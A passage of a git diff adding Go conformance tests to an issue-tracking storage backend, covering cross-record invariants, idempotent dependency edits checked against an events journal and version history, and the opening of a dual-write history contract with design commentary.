t.Fatal("EnforceCrossRecordInvariant accepted a joint violation; cannot check the refusal's InvariantName") + } + if result.InvariantRefusal == nil { + t.Fatal("InvariantRefusal = nil on a non-accepted result") + } + if result.InvariantRefusal.InvariantName == "" { + t.Error("InvariantRefusal.InvariantName is empty, want a specific invariant name (R16.1-c)") + } +} + +// RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS pins FR-02's first +// required subject: Memory key/alias uniqueness (#5877 R2) is a STORE +// invariant, not row-level CAS, so two memories independently claiming the +// same alias each succeed when checked one at a time through a +// per-record-shaped call. +func RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS(t *testing.T, ctx context.Context, fixture CrossRecordInvariantFixture) { + t.Helper() + if fixture.MemoryKeyAliasWrite == nil { + t.Skip("this backend exposes no Memory key/alias write to probe (MemoryKeyAliasWrite is nil)") + } + alias := fixture.IssuePrefix + "-crossrec-memalias" + + first, err := fixture.MemoryKeyAliasWrite(ctx, fixture.IssuePrefix+"-crossrec-mem-a", "key-a", alias) + if err != nil { + t.Fatalf("MemoryKeyAliasWrite(a): %v", err) + } + if !first.Accepted { + t.Fatalf("MemoryKeyAliasWrite(a) was refused (Refusal=%+v), want Accepted", first.Refusal) + } + + second, err := fixture.MemoryKeyAliasWrite(ctx, fixture.IssuePrefix+"-crossrec-mem-b", "key-b", alias) + if err != nil { + t.Fatalf("MemoryKeyAliasWrite(b): %v", err) + } + if !second.Accepted { + t.Fatalf("MemoryKeyAliasWrite(b) claiming the SAME alias %q was refused (Refusal=%+v); alias uniqueness (#5877 R2) is a store invariant, so a per-record write cannot enforce it and must be Accepted here", alias, second.Refusal) + } +} + +// RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS pins FR-02's second +// required subject: MaximumEndpointMultiplicity is a STORE invariant, not +// row-level CAS, so two edges independently claiming the same endpoint each +// succeed when checked one at a time through a per-record-shaped call. +func RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS(t *testing.T, ctx context.Context, fixture CrossRecordInvariantFixture) { + t.Helper() + if fixture.GraphEdgeWrite == nil { + t.Skip("this backend exposes no graph edge write to probe (GraphEdgeWrite is nil)") + } + from := fixture.IssuePrefix + "-crossrec-edge-from" + + first, err := fixture.GraphEdgeWrite(ctx, from, fixture.IssuePrefix+"-crossrec-edge-to-a", "depends-on") + if err != nil { + t.Fatalf("GraphEdgeWrite(a): %v", err) + } + if !first.Accepted { + t.Fatalf("GraphEdgeWrite(a) was refused (Refusal=%+v), want Accepted", first.Refusal) + } + + second, err := fixture.GraphEdgeWrite(ctx, from, fixture.IssuePrefix+"-crossrec-edge-to-b", "depends-on") + if err != nil { + t.Fatalf("GraphEdgeWrite(b): %v", err) + } + if !second.Accepted { + t.Fatalf("GraphEdgeWrite(b) from the SAME endpoint %q was refused (Refusal=%+v); MaximumEndpointMultiplicity is a store invariant, so a per-record write cannot enforce it and must be Accepted here", from, second.Refusal) + } +} + +// RunAdvisoryLeaseAloneDoesNotPreventTheInvariantViolation pins FR-03's +// negative case: an advisory lease is observed BY CONVENTION ONLY, so +// holding one over the shared subject does not, by itself, stop the same +// per-record violation RunCrossRecordInvariantSurvivesTwoPassingPerRecordGuards +// constructs. +func RunAdvisoryLeaseAloneDoesNotPreventTheInvariantViolation(t *testing.T, ctx context.Context, fixture CrossRecordInvariantFixture) { + t.Helper() + if fixture.AcquireAdvisoryLease == nil { + t.Skip("this backend has no lease primitive to test as an insufficient guard (AcquireAdvisoryLease is nil)") + } + if fixture.GuardedWrite == nil { + t.Skip("this backend exposes no per-record guard to construct the boundary case against (GuardedWrite is nil)") + } + shared := fixture.IssuePrefix + "-crossrec-leased-alias" + crossRecordInvariantAcquireLease(t, ctx, fixture, shared, time.Minute) + + first, err := fixture.GuardedWrite(ctx, fixture.IssuePrefix+"-crossrec-leased-a", nil, map[string]any{"alias": shared}) + if err != nil { + t.Fatalf("GuardedWrite(a) under a held lease: %v", err) + } + second, err := fixture.GuardedWrite(ctx, fixture.IssuePrefix+"-crossrec-leased-b", nil, map[string]any{"alias": shared}) + if err != nil { + t.Fatalf("GuardedWrite(b) under a held lease: %v", err) + } + if !first.Accepted || !second.Accepted { + t.Fatalf("holding an advisory lease changed a per-record GuardedWrite's own verdict (first.Accepted=%v second.Accepted=%v); the lease is observed by convention only and GuardedWrite must not consult it (FR-03)", first.Accepted, second.Accepted) + } +} + +// RunLeaseAcquisitionRecordsNoHistoryEntry mirrors +// RunMetadataCASAWispSwapRecordsNoDurableHistory's delta-around-the-call +// shape (metadata_cas_contract.go, history_matching.go): acquiring an +// advisory lease is bookkeeping, not a durable state change, so it must +// record no history entry for its subject. +func RunLeaseAcquisitionRecordsNoHistoryEntry(t *testing.T, ctx context.Context, fixture CrossRecordInvariantFixture) { + t.Helper() + if fixture.AcquireAdvisoryLease == nil { + t.Skip("this backend has no lease primitive to test (AcquireAdvisoryLease is nil)") + } + if fixture.CountHistoryForSubject == nil { + t.Skip("this backend cannot observe history by subject (CountHistoryForSubject is nil)") + } + subject := fixture.IssuePrefix + "-crossrec-lease-history" + + before, err := fixture.CountHistoryForSubject(ctx, subject) + if err != nil { + t.Fatalf("CountHistoryForSubject(before): %v", err) + } + + crossRecordInvariantAcquireLease(t, ctx, fixture, subject, time.Minute) + + after, err := fixture.CountHistoryForSubject(ctx, subject) + if err != nil { + t.Fatalf("CountHistoryForSubject(after): %v", err) + } + if got := after - before; got != 0 { + t.Errorf("acquiring an advisory lease recorded %d history entries for %q, want none", got, subject) + } +} + +// --- fixture helpers ------------------------------------------------------- + +// crossRecordInvariantAcquireLease acquires an advisory lease and registers +// its Release (when the fixture provides one) as a test cleanup, so a case +// does not have to thread a defer through its own body. No caller needs the +// handle itself — both cases only need a lease held over the subject — so +// this does not return one. +func crossRecordInvariantAcquireLease(t *testing.T, ctx context.Context, fixture CrossRecordInvariantFixture, subject string, ttl time.Duration) { + t.Helper() + lease, err := fixture.AcquireAdvisoryLease(ctx, subject, ttl) + if err != nil { + t.Fatalf("AcquireAdvisoryLease(%s): %v", subject, err) + } + if lease.Release != nil { + t.Cleanup(func() { + if err := lease.Release(ctx); err != nil { + t.Errorf("releasing the advisory lease on %q: %v", subject, err) + } + }) + } +} diff --git a/backend/conformance/dependency_editor_contract.go b/backend/conformance/dependency_editor_contract.go index cc8270086..df2aacb75 100644 --- a/backend/conformance/dependency_editor_contract.go +++ b/backend/conformance/dependency_editor_contract.go @@ -2,10 +2,12 @@ package conformance import ( "context" + "encoding/json" "errors" "fmt" "testing" + storeops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" publicops "github.com/steveyegge/beads/issueops" ) @@ -60,6 +62,33 @@ type DependencyEditorFixture struct { // the cases that need it then skip with that reason rather than pass // quietly. It is non-nil on all three backends today. CountHistory func(context.Context) (int, error) + // SetJournalEnabled turns on durable journaling for the workspace under + // test (storage.EventsJournalConfigurer) — the same operator switch + // JournalFixture.SetJournalEnabled wires, and off by default for the same + // reason: a workspace that never opted in records nothing in + // bd_events_journal while every other write still succeeds normally. + // + // The idempotency cases need it on because bd_events_journal has no + // deduplication of its own (issueops.RecordDepEventInTx always inserts): + // a same-type re-add or an absent removal is a no-op only if nothing + // downstream of the role recorded a change, and the journal is the one + // place that is not otherwise observable through this fixture. It is + // non-nil on all three backends. + SetJournalEnabled func(enabled bool) + // SetVersionedHistoryEnabled turns on dual-write issue-version history + // (storage.VersionedHistoryConfigurer) — off by default for the same + // reason SetJournalEnabled is. + // + // It exists for one case: the metadata-changed re-add, which can only be + // driven through AddDependency (the role's own request type carries no + // metadata). That hook writes through the backend's raw store path rather + // than the role's transaction wrapper, and on at least one backend only + // the latter issues the underlying VCS commit CountHistory observes — so + // a case reached through AddDependency cannot tell a mint happened by + // watching CountHistory the way the role-driven history cases do. It has + // to read issue_versions directly instead, which only advances when this + // switch is on. It is non-nil on all three backends. + SetVersionedHistoryEnabled func(enabled bool) } // RunDependencyEditorRoutesWispSourcedEdgeToTheWispPlane is the regression pin @@ -252,8 +281,18 @@ func RunDependencyEditorAddedEchoesTheRequestOrder(t *testing.T, ctx context.Con // promises a dependency_added entry for a GENUINELY NEW edge, so a backend // that re-emitted on the no-op would leave a history of work that did not // happen even where the row count could not tell. +// +// bd_events_journal is the fourth, and the one none of the others catch: +// unlike the events table it has no deduplication of its own +// (issueops.RecordDepEventInTx always inserts), so a same-type re-add that +// gates on TYPE alone — never the stored metadata VALUE — journals a change +// that never happened even while the row count, the events table and the +// history delta all read as a clean no-op. This is #5898's R3 case: a +// change-free write must create no version and must not journal one either. func RunDependencyEditorSameTypeReAddIsIdempotent(t *testing.T, ctx context.Context, fixture DependencyEditorFixture) { t.Helper() + fixture.SetJournalEnabled(true) + t.Cleanup(func() { fixture.SetJournalEnabled(false) }) source := fixture.IssuePrefix + "-idem-source" target := fixture.IssuePrefix + "-idem-target" seedDependencyEditorIssue(t, ctx, fixture, source) @@ -267,6 +306,7 @@ func RunDependencyEditorSameTypeReAddIsIdempotent(t *testing.T, ctx context.Cont t.Fatalf("AddDependencies first: %v", err) } assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyAdded, 1) + assertDependencyEditorJournalCountIsOne(t, ctx, fixture, source, string(storeops.EventDepAdd)) assertHistoryDelta := dependencyEditorHistoryProbe(t, ctx, fixture) result, err := fixture.Editor.AddDependencies(ctx, request) @@ -279,9 +319,218 @@ func RunDependencyEditorSameTypeReAddIsIdempotent(t *testing.T, ctx context.Cont assertDependencyEditorOutgoingCount(t, ctx, fixture, "dependencies", source, 1) assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", source, target, string(publicops.DepBlocks), 1) assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyAdded, 1) + assertDependencyEditorJournalCountIsOne(t, ctx, fixture, source, string(storeops.EventDepAdd)) assertHistoryDelta(0, "every edge of the request already existed with the requested type, so nothing was written and nothing is versioned") } +// RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion pins the +// other half of the same-type re-add clause from +// RunDependencyEditorSameTypeReAddIsIdempotent: same TYPE is not the whole +// idempotency test, because the row also carries metadata, and a re-add that +// changes it is a real mutation of the source issue rather than a no-op that +// happens to share a type. The leaf updates the stored metadata and mints +// EXACTLY ONE version carrying the new state — the same terms as a genuinely +// new edge — because from the source issue's point of view a metadata change +// is as real as the edge appearing in the first place (#5898 leg 2). +// +// It drives the re-add through fixture.AddDependency rather than +// fixture.Editor.AddDependencies because publicops.DependencyEdge carries no +// metadata for the role API to change — the same reason +// RunDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate reaches past +// the role for a waits-for gate. +// +// bd_events_journal is asserted at TWO, not one: unlike the change-free +// re-add, this path still calls issueops.RecordDepEventInTx — dependencies.go +// calls it "an observable graph mutation" and journals the complete +// replacement edge for replay — so the second write adds its own journal +// entry even though it adds no second row to "dependencies" and no second +// dependency_added row to "events", because those two describe the STORED +// ROW and the AUDIT TRAIL, neither of which duplicates on a metadata-only +// change. +func RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t *testing.T, ctx context.Context, fixture DependencyEditorFixture) { + t.Helper() + if fixture.AddDependency == nil { + t.Skip("fixture has no AddDependency hook: metadata is not settable through publicops.DependencyEdge") + } + fixture.SetJournalEnabled(true) + t.Cleanup(func() { fixture.SetJournalEnabled(false) }) + fixture.SetVersionedHistoryEnabled(true) + t.Cleanup(func() { fixture.SetVersionedHistoryEnabled(false) }) + source := fixture.IssuePrefix + "-idemmeta-source" + target := fixture.IssuePrefix + "-idemmeta-target" + seedDependencyEditorIssue(t, ctx, fixture, source) + seedDependencyEditorIssue(t, ctx, fixture, target) + + first := &types.Dependency{IssueID: source, DependsOnID: target, Type: types.DepBlocks, Metadata: `{"note":"v1"}`} + if err := fixture.AddDependency(ctx, first, "writer"); err != nil { + t.Fatalf("AddDependency first: %v", err) + } + assertDependencyEditorOutgoingCount(t, ctx, fixture, "dependencies", source, 1) + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", source, target, string(types.DepBlocks), 1) + assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyAdded, 1) + assertDependencyEditorJournalCountIsOne(t, ctx, fixture, source, string(storeops.EventDepAdd)) + + versionsBefore := countDependencyEditorIssueVersions(t, ctx, fixture, source) + second := &types.Dependency{IssueID: source, DependsOnID: target, Type: types.DepBlocks, Metadata: `{"note":"v2"}`} + if err := fixture.AddDependency(ctx, second, "writer"); err != nil { + t.Fatalf("re-adding the same edge with changed metadata refused: %v", err) + } + assertDependencyEditorOutgoingCount(t, ctx, fixture, "dependencies", source, 1) + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", source, target, string(types.DepBlocks), 1) + assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyAdded, 1) + + var journalCount int + if err := fixture.QueryScalar(ctx, + "SELECT COUNT(*) FROM bd_events_journal WHERE issue_id = ? AND op = ?", + []any{source, string(storeops.EventDepAdd)}, &journalCount); err != nil { + t.Fatalf("count bd_events_journal dep_add rows for %s: %v", source, err) + } + if journalCount != 2 { + t.Errorf("bd_events_journal dep_add rows for %s = %d, want 2: the metadata-changed re-add must journal its own replacement-edge entry", source, journalCount) + } + + var storedMetadata string + if err := fixture.QueryScalar(ctx, + "SELECT metadata FROM dependencies WHERE issue_id = ? AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?", + []any{source, target}, &storedMetadata); err != nil { + t.Fatalf("read stored metadata for %s -> %s: %v", source, target, err) + } + // Compared after re-encoding rather than byte-for-byte: a native JSON + // column is free to re-canonicalize what it stores (e.g. inserting the + // space after ':' Dolt's does), and that is not the thing this case is + // about. canonicalizeForContract has no numeric blind spot here because + // this fixture's metadata values never carry a bare JSON number. + storedCanon, err := canonicalizeForContract(json.RawMessage(storedMetadata)) + if err != nil { + t.Fatalf("canonicalize stored metadata for %s -> %s: %v", source, target, err) + } + wantCanon, err := canonicalizeForContract(json.RawMessage(second.Metadata)) + if err != nil { + t.Fatalf("canonicalize want metadata for %s -> %s: %v", source, target, err) + } + if storedCanon != wantCanon { + t.Errorf("stored metadata = %s, want %s: the re-add must persist the NEW metadata, not keep the old", storedCanon, wantCanon) + } + + // Not dependencyEditorHistoryProbe/CountHistory: AddDependency seeds this + // edge out of band of the role, through the backend's raw store path, and + // on at least one backend that path never issues the version-control + // commit CountHistory counts — only the role's own transaction wrapper + // does. issue_versions is the seam both paths mint through, so it is the + // one signal that is meaningful for a write reached this way. + if delta := countDependencyEditorIssueVersions(t, ctx, fixture, source) - versionsBefore; delta != 1 { + t.Errorf("issue_versions rows for %s went %d -> %d (delta %d), want a delta of 1: the metadata genuinely changed, so the re-add is a real mutation of the source issue and must mint exactly one version (#5898 leg 2)", source, versionsBefore, versionsBefore+delta, delta) + } +} + +// countDependencyEditorIssueVersions reports how many issue_versions rows +// exist for the given issue. Shared by every case here that asserts a +// version DELTA rather than an absolute count: the fixture's issues accrue +// versions from more than this one seam, so the relative change across an +// operation is the only thing a case can rely on. +func countDependencyEditorIssueVersions(t *testing.T, ctx context.Context, fixture DependencyEditorFixture, id string) int { + t.Helper() + var count int + if err := fixture.QueryScalar(ctx, "SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?", []any{id}, &count); err != nil { + t.Fatalf("count issue_versions rows for %s: %v", id, err) + } + return count +} + +// RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp pins the leg of +// the same-type re-add clause that +// RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion +// deliberately does not cover: metadata that is byte-different but +// SEMANTICALLY IDENTICAL to what is already stored. A native JSON column is +// free to re-canonicalize what it persists — Dolt's inserts a space after +// ':', sorts object keys, and narrows a bare integral float to an int — so a +// comparison written against the raw bytes the caller last sent, rather than +// a canonical form of what is actually stored, reports a change that never +// happened and mints a version for a write that changed nothing (#6650). +// +// Two sub-cases pin the two distinct ways "byte-different" can still mean +// "the same value", using the same real-world shape +// (internal/types.WaitsForMeta, which is what a waits-for edge's metadata +// actually is): +// - CompactSpelling re-adds the exact compact spelling +// json.Marshal(types.WaitsForMeta{Gate: "any-children"}) already +// produced. The caller sends identical bytes both times; only Dolt's own +// storage-side renormalization of the FIRST write can make the stored +// form disagree with them. +// - ReorderedKeys re-adds the same fields with their keys spelled in a +// different order — a caller-side difference no byte comparison +// survives, but the same JSON value all the same. +// +// Both must be a no-op by the same signals +// RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion checks +// for a real change: the stored row, the events table, the journal, and the +// issue_versions delta all have to read as "nothing happened." +func RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T, ctx context.Context, fixture DependencyEditorFixture) { + t.Helper() + if fixture.AddDependency == nil { + t.Skip("fixture has no AddDependency hook: metadata is not settable through publicops.DependencyEdge") + } + + compact, err := json.Marshal(types.WaitsForMeta{Gate: "any-children"}) + if err != nil { + t.Fatalf("marshal compact WaitsForMeta: %v", err) + } + + for _, sub := range []struct { + name string + tag string + first string + readd string + }{ + { + name: "CompactSpelling", + tag: "idemmetasame-compact", + first: string(compact), + readd: string(compact), + }, + { + name: "ReorderedKeys", + tag: "idemmetasame-reorder", + first: `{"gate":"any-children","spawner_id":"src-1"}`, + readd: `{"spawner_id":"src-1","gate":"any-children"}`, + }, + } { + t.Run(sub.name, func(t *testing.T) { + fixture.SetJournalEnabled(true) + t.Cleanup(func() { fixture.SetJournalEnabled(false) }) + fixture.SetVersionedHistoryEnabled(true) + t.Cleanup(func() { fixture.SetVersionedHistoryEnabled(false) }) + source := fixture.IssuePrefix + "-" + sub.tag + "-source" + target := fixture.IssuePrefix + "-" + sub.tag + "-target" + seedDependencyEditorIssue(t, ctx, fixture, source) + seedDependencyEditorIssue(t, ctx, fixture, target) + + first := &types.Dependency{IssueID: source, DependsOnID: target, Type: types.DepBlocks, Metadata: sub.first} + if err := fixture.AddDependency(ctx, first, "writer"); err != nil { + t.Fatalf("AddDependency first: %v", err) + } + assertDependencyEditorOutgoingCount(t, ctx, fixture, "dependencies", source, 1) + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", source, target, string(types.DepBlocks), 1) + assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyAdded, 1) + assertDependencyEditorJournalCountIsOne(t, ctx, fixture, source, string(storeops.EventDepAdd)) + + versionsBefore := countDependencyEditorIssueVersions(t, ctx, fixture, source) + second := &types.Dependency{IssueID: source, DependsOnID: target, Type: types.DepBlocks, Metadata: sub.readd} + if err := fixture.AddDependency(ctx, second, "writer"); err != nil { + t.Fatalf("re-adding the same edge with semantically identical metadata refused: %v", err) + } + assertDependencyEditorOutgoingCount(t, ctx, fixture, "dependencies", source, 1) + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", source, target, string(types.DepBlocks), 1) + assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyAdded, 1) + assertDependencyEditorJournalCountIsOne(t, ctx, fixture, source, string(storeops.EventDepAdd)) + + if delta := countDependencyEditorIssueVersions(t, ctx, fixture, source) - versionsBefore; delta != 0 { + t.Errorf("issue_versions rows for %s went %d -> %d (delta %d), want a delta of 0: the re-add's metadata is semantically identical to what is already stored (byte differences aside), so nothing changed and nothing should be versioned (#6650)", source, versionsBefore, versionsBefore+delta, delta) + } + }) + } +} + // RunDependencyEditorRepeatsWithinOneRequestCollapse pins the clause that // answers a request naming ONE PAIR TWICE. The same-type re-add rule is stated // for the pair rather than for the call, so the second occurrence inside a @@ -454,8 +703,17 @@ func RunDependencyEditorRefusalWritesNothing(t *testing.T, ctx context.Context, // missing edge is Removed false with a NIL error, not ErrNotFound, because an // agent replaying its own teardown should not have to classify an error to // discover it already ran. +// bd_events_journal is checked alongside the events table for the same +// reason RunDependencyEditorSameTypeReAddIsIdempotent checks it: the journal +// has no deduplication of its own, so a removal that finds nothing must not +// journal a dep_remove either. This side of #5898's R3 case is expected to +// already hold — RemoveDependencyInTx only records when it actually deleted a +// row — but it is pinned here so a future regression on this leg is caught +// alongside the add-side one rather than only on the leg that is broken today. func RunDependencyEditorRemoveIsIdempotent(t *testing.T, ctx context.Context, fixture DependencyEditorFixture) { t.Helper() + fixture.SetJournalEnabled(true) + t.Cleanup(func() { fixture.SetJournalEnabled(false) }) source := fixture.IssuePrefix + "-rm-source" target := fixture.IssuePrefix + "-rm-target" seedDependencyEditorIssue(t, ctx, fixture, source) @@ -478,6 +736,7 @@ func RunDependencyEditorRemoveIsIdempotent(t *testing.T, ctx context.Context, fi } assertDependencyEditorOutgoingCount(t, ctx, fixture, "dependencies", source, 0) assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyRemoved, 1) + assertDependencyEditorJournalCountIsOne(t, ctx, fixture, source, string(storeops.EventDepRemove)) removed, err = fixture.Editor.RemoveDependency(ctx, request) if err != nil { @@ -487,6 +746,7 @@ func RunDependencyEditorRemoveIsIdempotent(t *testing.T, ctx context.Context, fi t.Error("Removed = true, want false for an edge that was already gone") } assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyRemoved, 1) + assertDependencyEditorJournalCountIsOne(t, ctx, fixture, source, string(storeops.EventDepRemove)) } // RunDependencyEditorAppliesParentChildBeforeBlockingEdges pins @@ -2179,6 +2439,26 @@ func assertDependencyEditorEventCount(t *testing.T, ctx context.Context, fixture } } +// assertDependencyEditorJournalCountIsOne asserts exactly one bd_events_journal +// row exists for one issue and op — the same shape as +// assertDependencyEditorEventCount, against the table that has no +// deduplication of its own and so is the one an unconditional journal write on +// a no-op would actually show up in. Every call site pins the count at one +// (the single genuine write); there is no idempotency case that expects zero +// or more than one, so unlike assertDependencyEditorEventCount this does not +// take a want. +func assertDependencyEditorJournalCountIsOne(t *testing.T, ctx context.Context, fixture DependencyEditorFixture, issueID, op string) { + t.Helper() + var got int + query := "SELECT COUNT(*) FROM bd_events_journal WHERE issue_id = ? AND op = ?" + if err := fixture.QueryScalar(ctx, query, []any{issueID, op}, &got); err != nil { + t.Fatalf("count bd_events_journal %s rows for %s: %v", op, issueID, err) + } + if got != 1 { + t.Errorf("bd_events_journal %s rows for %s = %d, want 1", op, issueID, got) + } +} + // assertDependencyEditorEventActor reads the actor off the one event of a // given type for one issue. It reads the DURABLE stream only: the attribution // clause is about who is recorded, and the plane that record lands in is diff --git a/backend/conformance/dualwrite_history_contract.go b/backend/conformance/dualwrite_history_contract.go new file mode 100644 index 000000000..8bfb55c56 --- /dev/null +++ b/backend/conformance/dualwrite_history_contract.go @@ -0,0 +1,344 @@ +package conformance + +import ( + "context" + "testing" +) + +// This file holds the contract Phase 2's dual-write history mechanism must +// satisfy: FR-1, FR-2, FR-3, FR-5 and FR-7 of be-hs42e.3 (gastownhall/beads#6135) +// directly, plus FR-6 per leg (see below). FR-4 and FR-8 are this phase's +// requirements too but are not testable through this fixture's five closures +// — see the exclusion list below for why. FR-9 is deliberately NOT this +// file's job: it is the differential test harness task 4 builds separately +// (flag-off-vs-recorded-baseline plus flag-on-perturbs-nothing-but- +// current_revision), not a property a per-mutation fixture case can express. +// This is the phase that starts populating +// issue_versions/current_revision/store_epoch behind +// storage.VersionedHistoryConfigurer while every read path still answers from +// the durable issues/wisps rows exactly as before. Nothing here asserts that a +// dual-written value is ever READ back through a query surface — that CAS +// enforcement and read-path switch is Phase 3/4 (#6136), unbuilt at this +// phase — only that the write side mints what it promises, and only when it +// promises to. +// +// WHY THIS IS A DEDICATED FIXTURE RATHER THAN AN EXTENSION OF AN EXISTING ONE. +// An earlier design iteration proposed folding these cases into the +// pre-existing RetentionFixture/CrossRecordInvariantFixture pair. That +// approach was withdrawn (be-q0w1q) after review surfaced a version-row +// identity gap those fixtures' cases would have exercised before it was +// resolved: (issue_id, revision) was the only key issue_versions had, which +// cannot express a third write racing the same revision the way a +// content-addressed or generated identity can. be-hs42e.3 design §15 +// resolves the identity question with a dedicated version_id (migration +// 0068, landing after this contract exists — see the task-1 half of this +// bead), and this contract is written against §15's resolved shape, not the +// one the withdrawn approach would have extended. +// +// THE FIXTURE'S FIVE CLOSURES ARE THE OBSERVABLE SURFACE, NOT THE SCHEMA. A +// case here never reads issue_versions or store_epoch directly — that would +// make the contract a second copy of one leg's SQL rather than a promise +// every leg keeps in its own idiom (raw SQL against the dolt leg's own +// *sql.DB, an exported accessor on the embedded store, RawSQLUseCase through +// a unit of work). Mutate and MutateAsNoOp drive the same front door every +// other conformance fixture in this package drives — CreateIssue and +// UpdateIssue, or their unit-of-work equivalents — never the version table: +// emission lives at the RecordVersionInTx seam beneath all of them, so a +// closure that inserted a row directly would be asserting that this test can +// write a row, not that the engine does. +// +// WHAT THIS CONTRACT DELIBERATELY DOES NOT PIN, and the reason, so a later +// reader does not mistake the gap for an oversight: +// +// - THE EXACT BYTES OF durable_state. Design §15's R5.1 artifact is a +// verbatim marshal of the mutated issue, and its shape is pinned where it +// is produced, not here: a byte-for-byte assertion in a cross-leg +// contract would break every time a field is added to types.Issue for +// reasons that have nothing to do with dual-write correctness. What IS +// pinned (RunDualWriteAttributionIsRecordedWithTheMutation) is that a row +// exists and its attribution columns are populated the moment the +// mutation that produced it returns — the externally observable proxy +// for "atomic with the mutation" a black-box fixture can actually check. +// - store_epoch AND issue_versions.epoch (FR-6, "stamped, never bumped"). +// None of this fixture's five closures can see either: CurrentRevision +// reads issues.current_revision, and VersionRowCount and +// LatestVersionAttribution read issue_versions but never its epoch +// column. Adding a sixth closure just to reach one column — one two of +// three legs would have to invent white-box access for — would make the +// shared surface bespoke to a single requirement. FR-6 is instead pinned +// per leg, where a leg already has (or can cheaply grow) the access: see +// the dolt leg's TestDualWriteStampsTheCurrentStoreEpochOnEachVersionRow. +// - PARTICIPATION-GENERATION GATING (design §16.2b). Whether an +// update-shaped mutation on a legacy (participation_generation IS NULL) +// row is correctly skipped is Phase 2 behavior this bead also owns, but +// it depends on migration 0068's participation_generation column, which +// does not exist when this contract is first written (0068 lands last in +// this bead's build order, by the mayor's explicit sequencing). It gets +// its own dedicated cases once 0068 lands, beside this file rather than +// inside it. +// - CONCURRENT WRITERS. Every case here is one writer, one issue, one +// mutation at a time — the same restriction journal_contract.go states +// for the same reason: a single-threaded case cannot exercise what only +// concurrency can break, and faking it with sleeps buys a flaky suite +// instead of a guarantee. +// - FR-4 ("attribution is metadata: never compared when deciding whether +// two versions' durable state differs, never included in any future +// digest/equality check"). This is a constraint on code that does not +// exist in Phase 2 — no digest or equality check over durable_state is +// built by this phase — so there is nothing yet for a case to run +// against. FR-4 has no dedicated case here for that reason, not because +// it was missed. +// - FR-8 (`wisps.current_revision`/`wisps.participation_generation` are +// never read or written by this phase). None of this fixture's five +// closures can express it: Mutate's front door is CreateIssue against +// the issues table, so this fixture has no wisp-routed id to check in +// the first place. FR-8 is a routing exclusion, not a property of a +// mutated issue's own version history, and belongs beside the explicit +// test design §9 item 5 already calls for (task 1's responsibility, not +// this contract's). +// +// SEEDING DISCIPLINE: EVERY CASE CREATES ITS OWN ISSUE. Unlike the journal — +// append-only and workspace-global, so every case rebaselines off the live +// head — a version history is PER ISSUE, and Mutate's front door is create, +// which cannot run twice against the same id. So every case mints its own id +// from fixture.IssuePrefix plus a marker naming the case, and no case may +// assume anything about another id's history. +type DualWriteFixture struct { + // IssuePrefix namespaces the id each case mints. Ids are global to a + // workspace, so two cases sharing one would read each other's version + // history. + IssuePrefix string + // Mutate performs one ACCEPTED mutation against a not-yet-existing id: + // the fixture's chosen front door for "a mutation this phase must + // version" is CreateIssue (or its unit-of-work equivalent), because + // create is one of the call sites RecordVersionInTx wires into and the + // one every leg can drive without first needing a row to exist. + Mutate func(ctx context.Context, id string) error + // MutateAsNoOp performs a mutation against an id Mutate already created + // that existing production code (issueops.DiscardNoopIssueUpdates) + // recognizes as a no-op before it ever reaches RecordVersionInTx — the + // fixture's chosen shape is an update that re-sets a field to the value + // Mutate already gave it. It is a DIFFERENT call than Mutate on purpose: + // FR-2 is a claim about the engine's no-op skip, and a fixture that used + // the same closure for both could not tell a real skip from Mutate + // simply never having run. + MutateAsNoOp func(ctx context.Context, id string) error + // CurrentRevision reads issues.current_revision for id. + CurrentRevision func(ctx context.Context, id string) (int64, error) + // VersionRowCount reads how many issue_versions rows exist for id. + VersionRowCount func(ctx context.Context, id string) (int, error) + // LatestVersionAttribution reads change_actor, change_agent and + // change_message off the highest-revision issue_versions row for id. + // Columns the schema allows NULL come back as "": this fixture answers + // "what did the mutation record", and a leg that recorded nothing for a + // column answers that question with an empty string, not a sentinel a + // case would have to special-case around. + LatestVersionAttribution func(ctx context.Context, id string) (actor, agent, message string, err error) +} + +// RunDualWriteMintsOneVersionRowPerAcceptedMutation pins FR-1: an accepted +// mutation mints EXACTLY one issue_versions row, not zero and not more than +// one. +// +// Zero would mean the phase built the flag and never wired the seam behind +// it — every other case in this file would still read a functioning store, +// because nothing about ordinary issue mutation depends on versioning +// existing. More than one is the other silent failure this phase has to +// avoid: a seam invoked twice for one caller-visible mutation (once from the +// front door's own transaction and once from a retry or a decorator wrapping +// it a second time) would double the history of every issue in the store +// without a single ordinary read ever noticing, since nothing reads +// issue_versions yet. +func RunDualWriteMintsOneVersionRowPerAcceptedMutation(t *testing.T, ctx context.Context, fixture DualWriteFixture) { + t.Helper() + id := fixture.IssuePrefix + "-mints-one" + if err := fixture.Mutate(ctx, id); err != nil { + t.Fatalf("mutating %s: %v", id, err) + } + count, err := fixture.VersionRowCount(ctx, id) + if err != nil { + t.Fatalf("counting version rows for %s: %v", id, err) + } + if count != 1 { + t.Errorf("version row count for %s = %d, want exactly 1: one accepted mutation mints one row, "+ + "not zero (the seam never fired) and not more than one (it fired 